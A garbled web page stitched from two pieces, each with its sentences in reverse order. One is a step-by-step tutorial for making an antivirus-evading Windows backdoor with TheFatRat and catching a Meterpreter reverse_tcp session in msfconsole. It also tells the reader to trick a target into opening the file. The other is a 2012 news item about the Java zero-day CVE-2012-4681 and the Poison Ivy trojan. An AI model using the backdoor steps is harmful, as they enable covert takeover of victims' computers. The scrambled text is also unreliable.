Or trick your target to open above file in their pc. Open above created backdoor in Windows 10.Now attacker can easily manipulate target.Ĭreating Backdoor Using Apache + Powershell :. As you can see meterpreter session has start in attacker machine.As target open malicious file (tstfile.exe) in windows 10.As session has created attacker can perform various tasks.Ĭreating Backdoor easily with another option (with C code):.
Then type set payload windows/meterpreter/reverse_tcp.After msfconsole has started type use exploit/multi/handler.Msfconsole wiil be used to handle ongoing session. Open another terminal and start msfconsole.For accessing backdoor go to above location.After backdoor is creating it will save in /home/user/Downloads/TheFatRat/output/tstfile.exe.Type 3 for using windows/meterpreter/reverse_tcp.Enter LHOST listener/attacker IP address.Then type 2 which will create fud backdoor using c# + powershell.Type 6 will create fud backdoor using pwnwinds.
As source code for this exploit is already being distributed, the odds are very good that we’ll see more working malware in the wild before this is patched. In malware terms, several weeks is quite a huge gap in protection.
Oracle is on a quarterly patch schedule, which means the next likely patch will not be released until October 16. Additionally, Java applets have been part of the installation process for almost every malware attack on OS X this year. Java is a popular vehicle for malware authors – an unpatched Java flaw was largely responsible for the success of Flashback earlier this year. The exploit in all major browsers and appears to work on some versions of Linux, OS X 10.7 and higher, as well as Windows, if you’re using the latest version of Java.Īt this time there is no patch available for this exploit, so it’s highly recommend that you disable Java until this vulnerability has been fixed. What is more worrisome is the potential for this to be used by other malware developers in the near future. While this is in the wild, this is not being widely used at this time. There is a new Java zero-day exploit that was discovered last night, which is currently being used in targeted attacks against Windows users to deliver the Poison Ivy Remote Access Trojan. The exploit has been has now been given a reference number in the Common Vulnerability and Exposures List: CVE-2012-4681 You can find more information about the update here. This exploit has been patched by Oracle and Apple. Malware New Java Zero-Day Exploit Shows Multi-Platform Development